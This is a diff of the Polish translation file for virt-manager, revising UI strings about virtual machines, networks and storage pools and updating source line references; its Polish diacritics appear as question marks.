 #, python-format
 msgid "Error saving domain: %s"
 msgstr "B??d podczas zapisywania domeny: %s"
 
-#: ../src/virtManager/engine.py:500
+#: ../src/virtManager/engine.py:501
 #, python-format
 msgid "About to poweroff virtual machine %s"
 msgstr "Maszyna wirtualna %s zaraz zostanie wy??czona"
 
-#: ../src/virtManager/engine.py:502
+#: ../src/virtManager/engine.py:503
 msgid ""
 "This will immediately poweroff the VM without shutting down the OS and may "
 "cause data loss. Are you sure?"
 msgstr ""
 "To natychmiast wy??czy maszyn? wirtualn? bez wy??czania systemu operacyjnego "
-"i mo?e spowodowa? utrat? danych. Jeste? pewny?"
+"i mo?e spowodowa? utrat? danych. Na pewno?"
 
-#: ../src/virtManager/engine.py:512 ../src/virtManager/engine.py:592
-#: ../src/virtManager/engine.py:611
+#: ../src/virtManager/engine.py:513 ../src/virtManager/engine.py:593
+#: ../src/virtManager/engine.py:612
 #, python-format
 msgid "Error shutting down domain: %s"
 msgstr "B??d podczas wy??czania domeny: %s"
 
-#: ../src/virtManager/engine.py:534
+#: ../src/virtManager/engine.py:535
 #, python-format
 msgid "Error pausing domain: %s"
 msgstr "B??d podczas wstrzymywania domeny: %s"
 
-#: ../src/virtManager/engine.py:557
+#: ../src/virtManager/engine.py:558
 #, python-format
 msgid "Error unpausing domain: %s"
-msgstr "B??d podczas wychodzenia domeny ze wstrzymania: %s"
+msgstr "B??d podczas wznawiania domeny: %s"
 
-#: ../src/virtManager/engine.py:573
+#: ../src/virtManager/engine.py:574
 #, python-format
 msgid "Error starting domain: %s"
 msgstr "B??d podczas uruchamiania domeny: %s"
 
-#: ../src/virtManager/engine.py:619
+#: ../src/virtManager/engine.py:620
 #, python-format
 msgid "Are you sure you want to migrate %s from %s to %s?"
-msgstr "Na pewno chcesz migrowa? %s z %s do %s?"
+msgstr "Na pewno migrowa? %s z %s do %s?"
 
-#: ../src/virtManager/engine.py:627
+#: ../src/virtManager/engine.py:628
 #, python-format
 msgid "Migrating VM '%s'"
 msgstr "Migrowanie maszyny wirtualnej \"%s\""
 
-#: ../src/virtManager/engine.py:628
+#: ../src/virtManager/engine.py:629
 #, python-format
 msgid "Migrating VM '%s' from %s to %s. This may take awhile."
 msgstr "Migrowanie maszyny wirtualnej \"%s\" z %s do %s. To mo?e chwil? zaj??."
 
-#: ../src/virtManager/engine.py:685
+#: ../src/virtManager/engine.py:686
 msgid "No connections available."
 msgstr "Brak dost?pnych po??cze?."
 
-#: ../src/virtManager/engine.py:712
+#: ../src/virtManager/engine.py:713
 msgid "Connection hypervisors do not match."
-msgstr "Nadzorcy po??czenia si? nie zgadzaj?."
+msgstr "Nadzorcy po??czenia nie zgadzaj? si?."
 
-#: ../src/virtManager/engine.py:714
+#: ../src/virtManager/engine.py:715
 msgid "Connection is disconnected."
 msgstr "Po??czenie jest roz??czone."
 
-#: ../src/virtManager/engine.py:716
+#: ../src/virtManager/engine.py:717
 msgid "Cannot migrate to same connection."
 msgstr "Nie mo?na migrowa? do tego samego po??czenia."
 
-#: ../src/virtManager/engine.py:746
+#: ../src/virtManager/engine.py:747
 #, python-format
 msgid "Error setting clone parameters: %s"
 msgstr "B??d podczas ustawiania parametr?w klonowania: %s"
@@ -1692,7 +1691,7 @@
 
 #: ../src/virtManager/host.py:72
 msgid "Copy Volume Path"
-msgstr "Skopiuj ?cie?k? do woluminu"
+msgstr "Skopiowanie ?cie?ki do woluminu"
 
 #: ../src/virtManager/host.py:210
 #, python-format
@@ -1702,7 +1701,7 @@
 #: ../src/virtManager/host.py:234
 #, python-format
 msgid "Are you sure you want to permanently delete the network %s?"
-msgstr "Na pewno chcesz na trwa?e usun?? sie? %s?"
+msgstr "Na pewno trwale usun?? sie? %s?"
 
 #: ../src/virtManager/host.py:241
 #, python-format
@@ -1749,7 +1748,7 @@
 #: ../src/virtManager/host.py:436
 #, python-format
 msgid "Are you sure you want to permanently delete the pool %s?"
-msgstr "Na pewno chcesz na trwa?e usun?? pul? %s?"
+msgstr "Na pewno trwale usun?? pul? %s?"
 
 #: ../src/virtManager/host.py:443
 #, python-format
@@ -1759,7 +1758,7 @@
 #: ../src/virtManager/host.py:451
 #, python-format
 msgid "Are you sure you want to permanently delete the volume %s?"
-msgstr "Na pewno chcesz na trwa?e usun?? wolumin %s?"
+msgstr "Na pewno trwale usun?? wolumin %s?"
 
 #: ../src/virtManager/host.py:460
 #, python-format
@@ -1785,7 +1784,7 @@
 #: ../src/virtManager/manager.py:84 ../src/virtManager/manager.py:249
 #: ../src/virtManager/systray.py:136
 msgid "_Reboot"
-msgstr "_Uruchom ponownie"
+msgstr "U_ruchom ponownie"
 
 #: ../src/virtManager/manager.py:90 ../src/virtManager/manager.py:244
 #: ../src/virtManager/manager.py:255 ../src/virtManager/systray.py:143
@@ -1829,9 +1828,9 @@
 "A hypervisor connection can be manually added via \n"
 "File->Add Connection"
 msgstr ""
-"Nie mo?na rozprowadzi? domy?lnego po??czenia. Upewnij si?, ?e odpowiednie "
-"pakiety wirtualizacji s? zainstalowane (kvm, qemu itp.), a libvirtd zosta? "
-"ponownie uruchomiony, aby uwzgl?dni? zmiany.\n"
+"Nie mo?na rozprowadzi? domy?lnego po??czenia. Nale?y upewni? si?, ?e "
+"odpowiednie pakiety wirtualizacji s? zainstalowane (kvm, qemu itp.), a "
+"us?uga libvirtd zosta?a ponownie uruchomiona, aby uwzgl?dni? zmiany.\n"
 "\n"
 "Mo?na r?cznie doda? po??czenie do nadzorcy przez \n"
 "Plik->Dodaj po??czenie"
@@ -1852,7 +1851,7 @@
 
 #: ../src/virtManager/manager.py:436
 msgid "Restore Virtual Machine"
-msgstr "Przywr?? maszyn? wirtualn?"
+msgstr "Przywr?cenie maszyny wirtualnej"
 
 #: ../src/virtManager/manager.py:444
 #, python-format
@@ -1885,7 +1884,7 @@
 "\n"
 "%s\n"
 "\n"
-"Jeste? pewny?"
+"Na pewno?"
 
 #: ../src/virtManager/manager.py:840
 msgid "CPU usage"
@@ -1934,7 +1933,7 @@
 #. Arguments to pass to util.browse_local for local storage
 #: ../src/virtManager/storagebrowse.py:68
 msgid "Choose local storage"
-msgstr "Zmie? lokaln? pami?? masow?"
+msgstr "Zmiana lokalnej pami?ci masowej"
 
 #: ../src/virtManager/storagebrowse.py:115
 msgid "Size"
@@ -1988,7 +1987,7 @@
 
 #: ../src/vmm-add-hardware.glade.h:3
 msgid "<b>Physical Host Device</b>"
-msgstr "<b>Fizyczne urz?dzenie hosta</b>"
+msgstr "<b>Fizyczne urz?dzenie gospodarza</b>"
 
 #: ../src/vmm-add-hardware.glade.h:4 ../src/vmm-details.glade.h:11
 msgid "<b>Sound Device</b>"
@@ -2034,9 +2033,9 @@
 "connected via wireless, or dynamically configured with NetworkManager.</"
 "small>"
 msgstr ""
-"<small><b>Wskaz?wka:</b> wybierz t? opcj?, je?li host jest roz??czony, "
-"po??czony bezprzewodowo lub konfigurowany automatycznie za pomoc? mened?era "
-"sieci.</small>"
+"<small><b>Wskaz?wka:</b> nale?y wybra? t? opcj?, je?li gospodarz jest "
+"roz??czony, po??czony bezprzewodowo lub konfigurowany automatycznie za "
+"pomoc? Mened?era sieci.</small>"
 
 #: ../src/vmm-add-hardware.glade.h:13
 msgid ""
@@ -2044,9 +2043,9 @@
 "to wired ethernet, to gain the ability to migrate the virtual machine.</"
 "small>"
 msgstr ""
-"<small><b>Wskaz?wka:</b> wybierz t? opcj?, je?li host jest statycznie "
-"po??czony z przewodowym ethernetem, aby uzyska? mo?liwo?? migrowania maszyny "
-"wirtualnej.</small>"
+"<small><b>Wskaz?wka:</b> nale?y wybra? t? opcj?, je?li gospodarz jest "
+"statycznie po??czony z przewodow? sieci? Ethernet, aby uzyska? mo?liwo?? "
+"migrowania maszyny wirtualnej.</small>"
 
 #: ../src/vmm-add-hardware.glade.h:14
 msgid ""
@@ -2054,8 +2053,8 @@
 "virtual display to be embedded inside this application. It may also be used "
 "to allow access to the virtual display from a remote system.</small>"
 msgstr ""
-"<small><b>Wskaz?wka:</b> serwer VNC jest bardzo zalecany, poniewa? pozwala "
-"on oknie ekranowi wirtualnemu na zagnie?d?enie w tej aplikacji. Mo?e by? "
+"<small><b>Wskaz?wka:</b> serwer VNC jest bardzo zalecany, poniewa? umo?liwia "
+"oknie ekranowi wirtualnemu na zagnie?d?enie w tej aplikacji. Mo?e by? "
 "tak?e u?yty, aby umo?liwi? dost?p do ekranu wirtualnego ze zdalnego systemu."
 "</small>"
 
@@ -2076,10 +2075,10 @@
 "free space is not available on the host, this may result in data corruption "
 "on the virtual machine.</small>"
 msgstr ""
-"<small><b>Ostrze?enie:</b> je?li nie przydzielisz ca?ego dysku teraz, "
+"<small><b>Ostrze?enie:</b> je?li ca?y dysk nie zostanie teraz przydzielony, "
 "przestrze? b?dzie przydzielana w miar? potrzeb wtedy, gdy maszyna wirtualna "
 "b?dzie uruchomiona. Je?li wystarczaj?ca ilo?? wolnego miejsca nie b?dzie "
-"dost?pna na ho?cie, mo?e to spowodowa? uszkodzeniem danych na maszynie "
+"dost?pna na gospodarzu, mo?e to spowodowa? uszkodzeniem danych na maszynie "
 "wirtualnej.</small>"
 
 #: ../src/vmm-add-hardware.glade.h:17
@@ -2095,7 +2094,7 @@
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Finish Adding "
 "Virtual Hardware</span>"
 msgstr ""
-"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Zako?czono "
+"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Uko?czono "
 "dodawanie sprz?tu wirtualnego</span>"
 
 #: ../src/vmm-add-hardware.glade.h:19
@@ -2110,7 +2109,7 @@
 "span>"
 msgstr ""
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Urz?dzenie "
-"hosta</span>"
+"gospodarza</span>"
 
 #: ../src/vmm-add-hardware.glade.h:21
 msgid ""
@@ -2147,15 +2146,15 @@
 
 #: ../src/vmm-add-hardware.glade.h:26
 msgid "Add new virtual hardware"
-msgstr "Dodaj nowy sprz?t wirtualny"
+msgstr "Dodanie nowego sprz?tu wirtualnego"
 
 #: ../src/vmm-add-hardware.glade.h:28
 msgid "Allocate entire virtual disk now"
-msgstr "Przydziel ca?y dysk wirtualny"
+msgstr "Przydzielenie ca?ego dysku wirtualnego"
 
 #: ../src/vmm-add-hardware.glade.h:30
 msgid "Bind Host:"
-msgstr "Dowi?? hosta:"
+msgstr "Dowi?zanie gospodarza:"
 
 #: ../src/vmm-add-hardware.glade.h:31 ../src/vmm-clone.glade.h:13
 #: ../src/vmm-create.glade.h:12
@@ -2196,11 +2195,11 @@
 
 #: ../src/vmm-add-hardware.glade.h:42
 msgid "Host:"
-msgstr "Host:"
+msgstr "Gospodarz:"
 
 #: ../src/vmm-add-hardware.glade.h:44
 msgid "Listen on all public network interfaces "
-msgstr "Nas?uchuj na wszystkich publicznych interfejsach sieciowych "
+msgstr "Nas?uchiwanie na wszystkich publicznych interfejsach sieciowych "
 
 #: ../src/vmm-add-hardware.glade.h:45
 msgid "Loc_ation:"
@@ -2233,50 +2232,53 @@
 
 #: ../src/vmm-add-hardware.glade.h:55
 msgid "Please indicate how you would like to view the virtual display."
-msgstr "Wska?, jak chcesz wy?wietla? ekran wirtualny."
+msgstr "Prosz? wskaza?, jak ekran wirtualny ma by? wy?wietlany."
 
 #: ../src/vmm-add-hardware.glade.h:56
 msgid ""
 "Please indicate how you'd like to assign space on this physical host system "
 "for your new virtual storage device."
 msgstr ""
-"Wska?, jak chcesz przydzieli? przestrze? na tym fizycznym systemie hosta dla "
-"nowego systemu wirtualnego."
+"Prosz? wskaza?, jak przydzieli? przestrze? na tym fizycznym systemie "
+"gospodarza dla nowego urz?dzenia wirtualnej pami?ci masowej."
 
 #: ../src/vmm-add-hardware.glade.h:57
 msgid ""
 "Please indicate how you'd like to connect your new virtual network device to "
 "the host network."
 msgstr ""
-"Wska?, jak chcesz po??czy? nowe wirtualne urz?dzenie sieciowe do sieci hosta."
+"Prosz? wskaza?, jak po??czy? nowe wirtualne urz?dzenie sieciowe do sieci "
+"gospodarza."
 
 #: ../src/vmm-add-hardware.glade.h:58
 msgid ""
 "Please indicate what kind of pointer device to connect to the virtual "
 "machine."
 msgstr ""
-"Wska?, jakim typem urz?dzenia wska?nika po??czy? si? z maszyn? wirtualn?."
+"Prosz? wskaza?, jakim typem urz?dzenia wska?nika po??czy? si? z maszyn? "
+"wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:59
 msgid ""
 "Please indicate what physical device\n"
 "to connect to the virtual machine."
 msgstr ""
-"Wska?, kt?re urz?dzenie fizyczne\n"
+"Prosz? wskaza?, kt?re urz?dzenie fizyczne\n"
 "po??czy? z maszyn? wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:61
 msgid ""
 "Please indicate what sound device type to connect to the virtual machine."
 msgstr ""
-"Wska?, jakim typem urz?dzenia d?wi?kowego po??czy? si? z maszyn? wirtualn?."
+"Prosz? wskaza?, jakim typem urz?dzenia d?wi?kowego po??czy? si? z maszyn? "
+"wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:62
 msgid ""
 "Please indicate what video device type\n"
 "to connect to the virtual machine."
 msgstr ""
-"Wska?, jakim typem urz?dzenia graficznego\n"
+"Prosz? wskaza?, jakim typem urz?dzenia graficznego\n"
 "po??czy? si? z maszyn? wirtualn?."
 
 #: ../src/vmm-add-hardware.glade.h:66
@@ -2288,12 +2290,12 @@
 "This assistant will guide you through adding a new piece of virtual "
 "hardware. First select what type of hardware you wish to add:"
 msgstr ""
-"Ten asystent przeprowadzi ci? przez dodawanie nowego sprz?tu wirtualnego. "
-"Najpierw wybierz typ sprz?tu, kt?ry chcesz doda?:"
+"Ten asystent przeprowadzi u?ytkownika przez dodawanie nowego sprz?tu "
+"wirtualnego. Prosz? najpierw wybra? typ sprz?tu do dodania:"
 
 #: ../src/vmm-add-hardware.glade.h:69
 msgid "Use Telnet:"
-msgstr "U?yj telnet:"
+msgstr "U?ycie telnetu:"
 
 #: ../src/vmm-add-hardware.glade.h:70
 msgid "Virtual Network Select"
@@ -2346,7 +2348,7 @@
 
 #: ../src/vmm-choose-cd.glade.h:2
 msgid "Choose A CD Source Device"
-msgstr "Wybierz ?r?d?owe urz?dzenie CD"
+msgstr "Wyb?r ?r?d?owego urz?dzenia CD"
 
 #: ../src/vmm-choose-cd.glade.h:3
 msgid "ISO _Location:"
@@ -2358,7 +2360,7 @@
 
 #: ../src/vmm-choose-cd.glade.h:5
 msgid "_CD-ROM or DVD"
-msgstr "_CD-ROM lub DVD"
+msgstr "P?yta _CD-ROM lub DVD"
 
 #: ../src/vmm-choose-cd.glade.h:6
 msgid "_Device Media:"
@@ -2406,7 +2408,7 @@
 
 #: ../src/vmm-clone.glade.h:10
 msgid "<span size='large' color='white'>Clone virtual machine</span>"
-msgstr "<span size='large' color='white'>Sklonuj maszyn? wirtualn?</span>"
+msgstr "<span size='large' color='white'>Sklonowanie maszyny wirtualnej</span>"
 
 #: ../src/vmm-clone.glade.h:11
 msgid ""
@@ -2425,23 +2427,23 @@
 
 #: ../src/vmm-clone.glade.h:15
 msgid "Change MAC address"
-msgstr "Zmie? adres MAC"
+msgstr "Zmiana adresu MAC"
 
 #: ../src/vmm-clone.glade.h:16
 msgid "Change storage path"
-msgstr "Wybierz ?cie?k? pami?ci masowej"
+msgstr "Zmiana ?cie?ki pami?ci masowej"
 
 #: ../src/vmm-clone.glade.h:17
 msgid "Clone Virtual Machine"
-msgstr "Sklonuj maszyn? wirtualn?"
+msgstr "Sklonowanie maszyny wirtualnej"
 
 #: ../src/vmm-clone.glade.h:18
 msgid "Create a clone based on:"
-msgstr "Utw?rz klona w oparciu o:"
+msgstr "Utworzenie klona w oparciu o:"
 
 #: ../src/vmm-clone.glade.h:19
 msgid "Create a new disk (clone) for the virtual machine"
-msgstr "Utw?rz nowy dysk (klona) dla maszyny wirtualnej"
+msgstr "Utworzenie nowego dysku (klona) dla maszyny wirtualnej"
 
 #: ../src/vmm-clone.glade.h:20
 msgid "Existing disk"
@@ -2449,7 +2451,7 @@
 
 #: ../src/vmm-clone.glade.h:21
 msgid "New MAC:"
-msgstr "Nowy MAC:"
+msgstr "Nowy adres MAC:"
 
 #: ../src/vmm-clone.glade.h:22
 msgid "No networking devices"
@@ -2469,16 +2471,15 @@
 
 #: ../src/vmm-create-net.glade.h:3
 msgid "<b>Forwarding</b>"
-msgstr "<b>Przekazywanie</b>"
+msgstr "<b>Przekierowywanie</b>"
 
 #: ../src/vmm-create-net.glade.h:4
-#, fuzzy
 msgid ""
 "<b>Hint:</b> The network should be chosen from one of the IPv4 private "
 "address ranges. eg 10.0.0.0/8,  172.16.0.0/12, or 192.168.0.0/16"
 msgstr ""
 "<b>Wskaz?wka:</b> sie? powinna zosta? wybrana z podanych zakres?w prywatnych "
-"adres?w IPv4, np. 10.0.0.0/8, 172.16.0.0/12 lub 192.168.0.0/16"
+"adres?w IPv4, np. 10.0.0.0/8, 172.16.0.0/12 lub 192.168.0.0/16."
 
 #: ../src/vmm-create-net.glade.h:5
 msgid "<b>IPv4 network</b>"
@@ -2494,7 +2495,7 @@
 "network configuration in virtual machines, these parameters can be left with "
 "their default values."
 msgstr ""
-"<b>Wskaz?wka:</b> je?li nie chcesz zarezerwowa? niekt?rych adres?w, aby "
+"<b>Wskaz?wka:</b> je?li niekt?re adres nie maj? zosta? zastrze?one, aby "
 "umo?liwi? statyczn? konfiguracj? sieci w maszynie wirtualnej, te parametry "
 "powinny zosta? z domy?lnymi warto?ciami."
 
@@ -2511,7 +2512,7 @@
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Connecting to "
 "physical network</span>"
 msgstr ""
-"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">??czenie si? z "
+"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">??czenie z "
 "sieci? fizyczn?</span>"
 
 #: ../src/vmm-create-net.glade.h:10
@@ -2564,7 +2565,7 @@
 
 #: ../src/vmm-create-net.glade.h:18
 msgid "Create a new virtual network"
-msgstr "Utw?rz now? sie? wirtualn?"
+msgstr "Utworzenie nowej sieci wirtualnej"
 
 #: ../src/vmm-create-net.glade.h:19
 msgid "DHCP"
@@ -2576,7 +2577,7 @@
 
 #: ../src/vmm-create-net.glade.h:21
 msgid "Enable DHCP:"
-msgstr ""
+msgstr "W??czenie DHCP:"
 
 #: ../src/vmm-create-net.glade.h:22
 msgid "End Address"
@@ -2592,11 +2593,11 @@
 
 #: ../src/vmm-create-net.glade.h:25
 msgid "Forwarding"
-msgstr "Przekazywanie"
+msgstr "Przekierowywanie"
 
 #: ../src/vmm-create-net.glade.h:26
 msgid "Forwarding to physical network"
-msgstr "Przekazywanie do sieci fizycznej"
+msgstr "Przekierowywanie do sieci fizycznej"
 
 #: ../src/vmm-create-net.glade.h:27
 msgid "Gateway:"
@@ -2640,22 +2641,23 @@
 
 #: ../src/vmm-create-net.glade.h:40
 msgid "Please choose a name for your virtual network:"
-msgstr "Wybierz nazw? sieci wirtualnej:"
+msgstr "Prosz? wybra? nazw? sieci wirtualnej:"
 
 #: ../src/vmm-create-net.glade.h:41
 msgid ""
 "Please choose the range of addresses the DHCP server will allocate to "
 "virtual machines attached to the virtual network."
 msgstr ""
-"Wybierz zakres adres?w, kt?rych serwer DHCP b?dzie przydziela? maszynom "
-"wirtualnym pod??czonym do sieci wirtualnej."
+"Prosz? wybra? zakres adres?w, kt?rych serwer DHCP b?dzie przydziela? "
+"maszynom wirtualnym pod??czonym do sieci wirtualnej."
 
 #: ../src/vmm-create-net.glade.h:42
 msgid ""
 "Please indicate whether this virtual network should be connected to the "
 "physical network."
 msgstr ""
-"Wska?, czy ta sie? wirtualna powinna zosta? po??czona z sieci? fizyczn?."
+"Prosz? wskaza?, czy ta sie? wirtualna powinna zosta? po??czona z sieci? "
+"fizyczn?."
 
 #: ../src/vmm-create-net.glade.h:44
 msgid "Size:"
@@ -2687,25 +2689,25 @@
 "will be asked for some information about the virtual network you'd like to "
 "create, such as:"
 msgstr ""
-"Ten asystent przeprowadzi ci? przez tworzenie nowej sieci wirtualnej. "
-"Zastaniesz poproszony o kilka informacji o sieci wirtualnej, kt?r? chcesz "
-"utworzy?, takich jak:"
+"Ten asystent przeprowadzi u?ytkownika przez tworzenie nowej sieci "
+"wirtualnej. U?ytkownik zastanie poproszony o kilka informacji o sieci "
+"wirtualnej, kt?ra ma zosta? utworzona, takich jak:"
 
 #: ../src/vmm-create-net.glade.h:52
 msgid "Whether to <b>forward</b> traffic to the physical network"
-msgstr "Czy <b>przekazywa?</b> ruch do urz?dzenia fizycznego"
+msgstr "Czy <b>przekierowywa?</b> ruch do urz?dzenia fizycznego"
 
 #: ../src/vmm-create-net.glade.h:53
 msgid "You will need to choose an IPv4 address space for the virtual network:"
-msgstr "Musisz wybra? przestrze? adres?w IPv4 dla sieci wirtualnej:"
+msgstr "Nale?y wybra? przestrze? adres?w IPv4 dla sieci wirtualnej:"
 
 #: ../src/vmm-create-pool.glade.h:1
 msgid "<span size='x-large'>Add Storage Pool</span>"
-msgstr "<span size='x-large'>Dodaj pul? pami?ci masowej</span>"
+msgstr "<span size='x-large'>Dodanie puli pami?ci masowej</span>"
 
 #: ../src/vmm-create-pool.glade.h:2
 msgid "Add a New Storage Pool"
-msgstr "Dodaj now? pul? pami?ci masowej"
+msgstr "Dodanie nowej puli pami?ci masowej"
 
 #: ../src/vmm-create-pool.glade.h:3
 msgid "Browse"
@@ -2725,7 +2727,7 @@
 
 #: ../src/vmm-create-pool.glade.h:8
 msgid "Host Name:"
-msgstr "Nazwa hosta:"
+msgstr "Nazwa gospodarza:"
 
 #: ../src/vmm-create-pool.glade.h:10 ../src/vmm-create-vol.glade.h:23
 #: ../src/vmm-create.glade.h:34 ../src/vmm-details.glade.h:67
@@ -2741,8 +2743,8 @@
 msgid ""
 "Specify a storage location to be later split into virtual machine storage."
 msgstr ""
-"Podaj po?o?enie pami?ci masowej, kt?ra ma zosta? p??niej rozdzielona na "
-"pami?ci masowe maszyn wirtualnych."
+"Prosz? poda? po?o?enie pami?ci masowej, kt?ra ma zosta? p??niej rozdzielona "
+"na pami?ci masowe maszyn wirtualnych."
 
 #: ../src/vmm-create-pool.glade.h:13
 msgid "Step 1 of 2"
@@ -2758,7 +2760,7 @@
 
 #: ../src/vmm-create-vol.glade.h:1
 msgid "<span size='large'>Storage Volume Quota</span>"
-msgstr "<span size='large'>Quota woluminu pami?ci masowej</span>"
+msgstr "<span size='large'>Przydzia? woluminu pami?ci masowej</span>"
 
 #: ../src/vmm-create-vol.glade.h:2
 msgid ""
@@ -2797,7 +2799,7 @@
 
 #: ../src/vmm-create-vol.glade.h:17
 msgid "Add a Storage Volume"
-msgstr "Dodaj wolumin pami?ci masowej"
+msgstr "Dodanie woluminu pami?ci masowej"
 
 #: ../src/vmm-create-vol.glade.h:18
 msgid "Allocation:"
@@ -2806,8 +2808,8 @@
 #: ../src/vmm-create-vol.glade.h:19
 msgid "Create a storage unit that can be used directly by a virtual machine."
 msgstr ""
-"Utw?rz jednostk? pami?ci masowej, kt?ra mo?e by? u?ywana bezpo?rednio przez "
-"maszyn? wirtualn?."
+"Utworzenie jednostki pami?ci masowej, kt?ra mo?e by? u?ywana bezpo?rednio "
+"przez maszyn? wirtualn?."
 
 #: ../src/vmm-create-vol.glade.h:22
 msgid "Max Capacity:"
@@ -2815,11 +2817,11 @@
 
 #: ../src/vmm-create-vol.glade.h:25
 msgid "available space:"
-msgstr "dost?pna przestrze?:"
+msgstr "dost?pne miejsce:"
 
 #: ../src/vmm-create.glade.h:1
 msgid "(Insert host mem)"
-msgstr "(Podaj pami?? hosta)"
+msgstr "(Prosz? poda? pami?? gospodarza)"
 
 #: ../src/vmm-create.glade.h:2
 msgid "<span color='#484848'>CPUs:</span>"
@@ -2839,7 +2841,8 @@
 
 #: ../src/vmm-create.glade.h:7
 msgid "<span size='large' color='white'>Create a new virtual machine</span>"
-msgstr "<span size='large' color='white'>Utw?rz now? maszyn? wirtualn?</span>"
+msgstr ""
+"<span size='large' color='white'>Utworzenie nowej maszyny wirtualnej</span>"
 
 #: ../src/vmm-create.glade.h:8
 msgid "Advanced options"
@@ -2847,7 +2850,7 @@
 
 #: ../src/vmm-create.glade.h:9
 msgid "Allocate entire disk now"
-msgstr "Przydziel teraz ca?y dysk"
+msgstr "Przydzielenie ca?ego dysku"
 
 #: ../src/vmm-create.glade.h:10 ../src/vmm-details.glade.h:24
 #: ../src/vmm-host.glade.h:9
@@ -2856,7 +2859,8 @@
 
 #: ../src/vmm-create.glade.h:11
 msgid "Automatically detect operating system based on install media"
-msgstr "Automatycznie wykryj system operacyjny, w oparciu o no?nik instalacji"
+msgstr ""
+"Automatyczne wykrywanie systemu operacyjny, w oparciu o no?nik instalacji"
 
 #: ../src/vmm-create.glade.h:13
 msgid "CPUs:"
@@ -2864,15 +2868,15 @@
 
 #: ../src/vmm-create.glade.h:14
 msgid "Choose Memory and CPU settings"
-msgstr "Wybierz ustawienia pami?ci i procesora"
+msgstr "Prosz? wybra? ustawienia pami?ci i procesora"
 
 #: ../src/vmm-create.glade.h:15
 msgid "Choose an operating systen type and version"
-msgstr "Wybierz typ i wersj? systemu operacyjnego"
+msgstr "Prosz? wybra? typ i wersj? systemu operacyjnego"
 
 #: ../src/vmm-create.glade.h:16
 msgid "Choose how you would like to install the operating system"
-msgstr "Wska?, jak chcesz zainstalowa? system operacyjny"
+msgstr "Prosz? wybra?, jak zainstalowa? system operacyjny"
 
 #: ../src/vmm-create.glade.h:17 ../src/vmm-host.glade.h:13
 #: ../src/vmm-open-connection.glade.h:6
@@ -2881,19 +2885,19 @@
 
 #: ../src/vmm-create.glade.h:18
 msgid "Create a disk image on the computer's hard drive"
-msgstr "Utw?rz obraz dysku na dysku twardym komputera"
+msgstr "Utworzenie obrazu dysku na dysku twardym komputera"
 
 #: ../src/vmm-create.glade.h:19
 msgid "Enable storage for this virtual machine"
-msgstr "W??cz pami?? masow? dla tej maszyny wirtualnej"
+msgstr "W??czenie pami?ci masowej dla tej maszyny wirtualnej"
 
 #: ../src/vmm-create.glade.h:20
 msgid "Enter your virtual machine details"
-msgstr "Podaj szczeg??y maszyny wirtualnej"
+msgstr "Prosz? poda? szczeg??y maszyny wirtualnej"
 
 #: ../src/vmm-create.glade.h:21
 msgid "Error message"
-msgstr ""
+msgstr "Komunikat b??du"
 
 #: ../src/vmm-create.glade.h:23
 msgid "GB"
@@ -2905,7 +2909,7 @@
 
 #: ../src/vmm-create.glade.h:25
 msgid "Install"
-msgstr "Zainstaluj"
+msgstr "Instalacja"
 
 #: ../src/vmm-create.glade.h:26
 msgid "Kernel Options:"
@@ -2917,11 +2921,11 @@
 
 #: ../src/vmm-create.glade.h:28
 msgid "Local install media (ISO image or CDROM)"
-msgstr "Lokalny no?nik instalacji (obraz ISO lub CD-ROM)"
+msgstr "Lokalny no?nik instalacji (obraz ISO lub p?yta CD-ROM)"
 
 #: ../src/vmm-create.glade.h:29
 msgid "Locate your install media"
-msgstr "Ustal po?o?enie no?nika instalacyjnego"
+msgstr "Ustalenie po?o?enia no?nika instalacji"
 
 #: ../src/vmm-create.glade.h:31
 msgid "Memory"
@@ -2953,15 +2957,15 @@
 
 #: ../src/vmm-create.glade.h:40
 msgid "Provide the operating system URL"
-msgstr "Podaj URL do systemu operacyjnego"
+msgstr "Prosz? poda? adres URL systemu operacyjnego"
 
 #: ../src/vmm-create.glade.h:41
 msgid "Select managed or other existing storage"
-msgstr "Wybierz zarz?dzan? lub inn? istniej?c? pami?? masow?"
+msgstr "Prosz? wybra? zarz?dzan? lub inn? istniej?c? pami?? masow?"
 
 #: ../src/vmm-create.glade.h:42
 msgid "Set a fixed mac address"
-msgstr "Ustaw sta?y adres MAC"
+msgstr "Ustawienie sta?ego adresu MAC"
 
 #: ../src/vmm-create.glade.h:44
 msgid "URL"
@@ -2973,11 +2977,11 @@
 
 #: ../src/vmm-create.glade.h:46
 msgid "Use CDROM or DVD"
-msgstr "U?yj CD-ROM lub DVD"
+msgstr "U?ycie p?yty CD-ROM lub DVD"
 
 #: ../src/vmm-create.glade.h:47
 msgid "Use ISO image:"
-msgstr "U?yj obrazu ISO:"
+msgstr "U?ycie obrazu ISO:"
 
 #: ../src/vmm-create.glade.h:48
 msgid "Version:"
@@ -2993,7 +2997,7 @@
 
 #: ../src/vmm-delete.glade.h:2
 msgid "Delete associated storage files"
-msgstr "Usu? powi?zane pliki pami?ci masowej"
+msgstr "Usuni?cie powi?zanych plik?w pami?ci masowej"
 
 #: ../src/vmm-details.glade.h:1
 msgid ""
@@ -3045,7 +3049,7 @@
 "the host OS."
 msgstr ""
 "<b>Wskaz?wka:</b> \"urz?dzenie ?r?d?owe\" odnosi si? do nazwy urz?dzenia "
-"widzianego z systemu operacyjnego hosta."
+"widzianego z systemu operacyjnego gospodarza."
 
 #: ../src/vmm-details.glade.h:14
 msgid ""
@@ -3053,7 +3057,7 @@
 "'target' refers to information seen from the guest OS"
 msgstr ""
 "<b>Wskaz?wka:</b> \"?r?d?o\" odnosi si? do informacji o systemie operacyjnym "
-"hosta, a \"cel\" do informacji o systemie operacyjnym go?cia"
+"gospodarza, a \"cel\" do informacji o systemie operacyjnym go?cia"
 
 #: ../src/vmm-details.glade.h:15
 msgid ""
@@ -3072,7 +3076,7 @@
 msgstr ""
 "<b>Wskaz?wka:</b> W celu uzyskania najlepszej wydajno?ci liczba wirtualnych "
 "procesor?w powinna by? ni?sza ni? (lub r?wna) liczbie fizycznych procesor?w "
-"w systemie hosta."
+"w systemie gospodarza."
 
